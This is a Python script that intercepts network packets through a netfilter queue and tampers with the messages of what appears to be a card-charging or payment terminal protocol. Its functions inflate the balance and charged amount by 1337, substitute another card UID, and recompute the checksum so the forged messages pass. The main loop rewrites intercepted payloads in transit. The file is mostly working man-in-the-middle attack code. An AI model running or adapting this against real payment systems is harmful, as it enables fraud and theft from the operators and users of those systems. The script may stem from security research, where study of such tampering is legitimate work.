#!/usr/bin/env python
import codecs
import struct
import sys

import fnfqueue
from scapy.all import *


CRC_TABLE = [
    0x0000, 0xC0C1, 0xC181, 0x0140, 0xC301, 0x03C0, 0x0280, 0xC241,
    0xC601, 0x06C0, 0x0780, 0xC741, 0x0500, 0xC5C1, 0xC481, 0x0440,
    0xCC01, 0x0CC0, 0x0D80, 0xCD41, 0x0F00, 0xCFC1, 0xCE81, 0x0E40,
    0x0A00, 0xCAC1, 0xCB81, 0x0B40, 0xC901, 0x09C0, 0x0880, 0xC841,
    0xD801, 0x18C0, 0x1980, 0xD941, 0x1B00, 0xDBC1, 0xDA81, 0x1A40,
    0x1E00, 0xDEC1, 0xDF81, 0x1F40, 0xDD01, 0x1DC0, 0x1C80, 0xDC41,
    0x1400, 0xD4C1, 0xD581, 0x1540, 0xD701, 0x17C0, 0x1680, 0xD641,
    0xD201, 0x12C0, 0x1380, 0xD341, 0x1100, 0xD1C1, 0xD081, 0x1040,
    0xF001, 0x30C0, 0x3180, 0xF141, 0x3300, 0xF3C1, 0xF281, 0x3240,
    0x3600, 0xF6C1, 0xF781, 0x3740, 0xF501, 0x35C0, 0x3480, 0xF441,
    0x3C00, 0xFCC1, 0xFD81, 0x3D40, 0xFF01, 0x3FC0, 0x3E80, 0xFE41,
    0xFA01, 0x3AC0, 0x3B80, 0xFB41, 0x3900, 0xF9C1, 0xF881, 0x3840,
    0x2800, 0xE8C1, 0xE981, 0x2940, 0xEB01, 0x2BC0, 0x2A80, 0xEA41,
    0xEE01, 0x2EC0, 0x2F80, 0xEF41, 0x2D00, 0xEDC1, 0xEC81, 0x2C40,
    0xE401, 0x24C0, 0x2580, 0xE541, 0x2700, 0xE7C1, 0xE681, 0x2640,
    0x2200, 0xE2C1, 0xE381, 0x2340, 0xE101, 0x21C0, 0x2080, 0xE041,
    0xA001, 0x60C0, 0x6180, 0xA141, 0x6300, 0xA3C1, 0xA281, 0x6240,
    0x6600, 0xA6C1, 0xA781, 0x6740, 0xA501, 0x65C0, 0x6480, 0xA441,
    0x6C00, 0xACC1, 0xAD81, 0x6D40, 0xAF01, 0x6FC0, 0x6E80, 0xAE41,
    0xAA01, 0x6AC0, 0x6B80, 0xAB41, 0x6900, 0xA9C1, 0xA881, 0x6840,
    0x7800, 0xB8C1, 0xB981, 0x7940, 0xBB01, 0x7BC0, 0x7A80, 0xBA41,
    0xBE01, 0x7EC0, 0x7F80, 0xBF41, 0x7D00, 0xBDC1, 0xBC81, 0x7C40,
    0xB401, 0x74C0, 0x7580, 0xB541, 0x7700, 0xB7C1, 0xB681, 0x7640,
    0x7200, 0xB2C1, 0xB381, 0x7340, 0xB101, 0x71C0, 0x7080, 0xB041,
    0x5000, 0x90C1, 0x9181, 0x5140, 0x9301, 0x53C0, 0x5280, 0x9241,
    0x9601, 0x56C0, 0x5780, 0x9741, 0x5500, 0x95C1, 0x9481, 0x5440,
    0x9C01, 0x5CC0, 0x5D80, 0x9D41, 0x5F00, 0x9FC1, 0x9E81, 0x5E40,
    0x5A00, 0x9AC1, 0x9B81, 0x5B40, 0x9901, 0x59C0, 0x5880, 0x9841,
    0x8801, 0x48C0, 0x4980, 0x8941, 0x4B00, 0x8BC1, 0x8A81, 0x4A40,
    0x4E00, 0x8EC1, 0x8F81, 0x4F40, 0x8D01, 0x4DC0, 0x4C80, 0x8C41,
    0x4400, 0x84C1, 0x8581, 0x4540, 0x8701, 0x47C0, 0x4680, 0x8641,
    0x8201, 0x42C0, 0x4380, 0x8341, 0x4100, 0x81C1, 0x8081, 0x4040,
]


def modbus_crc(payload):
    crc = 0xFFFF
    for byte in payload:
        i = ord(byte) ^ crc
        crc >>= 8
        crc ^= CRC_TABLE[i & 0xFF]

    return struct.pack('<BB', crc >> 8, crc & 0xff)

def test_crc():
    test = codecs.decode('020200014c62003b3034303731393'
                         'b3138313933393b42303435453836'
                         '31323042354238303030303030303'
                         '030303b30303032343730343b3b3b'
                         '3b30303030313030303b303030303'
                         '33130343b453b3031424d585f4154'
                         '494704', 'hex')
    print(codecs.encode(modbus_crc(test), 'hex'))



def replace_amount(payload):
    # strip off the original crc
    payload = payload[:-2]

    values = payload.split(b';')
    charging = values[-2] == 'E'

    if not charging: return None

    balance = int(values[-3])
    charging_amount = int(values[-4])

    values[-3] = str(balance + 1337).rjust(8, '0')
    values[-4] = str(charging_amount + 1337).rjust(8, '0')

    # recompute crc
    replaced_payload = b';'.join(values)
    crc = modbus_crc(replaced_payload)

    return replaced_payload + crc


def replace_card(payload, card):
    # strip off the original crc
    payload = payload[:-2]

    # format the card
    card = card.ljust(24, b'0')

    # split the csv
    values = payload.split(b';')
    print(values[3])
    values[3] = card
    print(values[3])

    # recompute crc
    replaced_payload = b';'.join(values)
    crc = modbus_crc(replaced_payload)

    return replaced_payload + crc


def test_replace_card():
    test = codecs.decode('020200013263003b303430373'
                         '1393b3138343930373b424130'
                         '4339313341363030303030303'
                         '030303030303030303b303030'
                         '3234373034424d585f4154494'
                         '704cb59', 'hex')
    test_card = 'BA0C913A6'
    got = replace_card(test, test_card)
    print(codecs.encode(got,'hex'))


def info(payload):
    # remove crc
    payload = payload[:-3]
    values = payload.split(b';')


    try:
        time = '{} {}'.format(values[1], values[2])
        uid =  values[3].rstrip('0')

        if payload.endswith(b'ATIG'):
            charging = values[-2] == 'E'
            transaction_id = values[4] if charging else values[-1][:-8]

            return {
                'type': 'request',
                'charging': charging,
                'time': time,
                'transaction_id': transaction_id.strip('0'),
                'uid': uid,
            }
        else:
            return {
                'type': 'response',
                'balance': values[-2].lstrip('0'),
                'time': time,
                'uid': uid,
            }

    except IndexError:
        return None
    

def main():
    queue = 0
    conn = fnfqueue.Connection()

    try:
        q = conn.bind(0)
        q.set_mode(0xffff, fnfqueue.COPY_PACKET)
    except OSError:
        print("Access denied; Do I have root rights or the needed capabilities?")
        sys.exit(-1)
        
    while True:
        try:
            for packet in conn:
                p = IP(packet.payload)
            
                print(info(p[Raw].load))
                p[Raw].load = b"ABCDEFGHILMNOPQ" # modify the packet here
                del p[TCP].chksum
                packet.payload = bytes(p)
                #packet.mangle()
                print(repr(packet.payload))

        except fnfqueue.BufferOverflowException:
            print("buffer error")
            pass
    
    conn.close()

        
if __name__ == '__main__':
    main()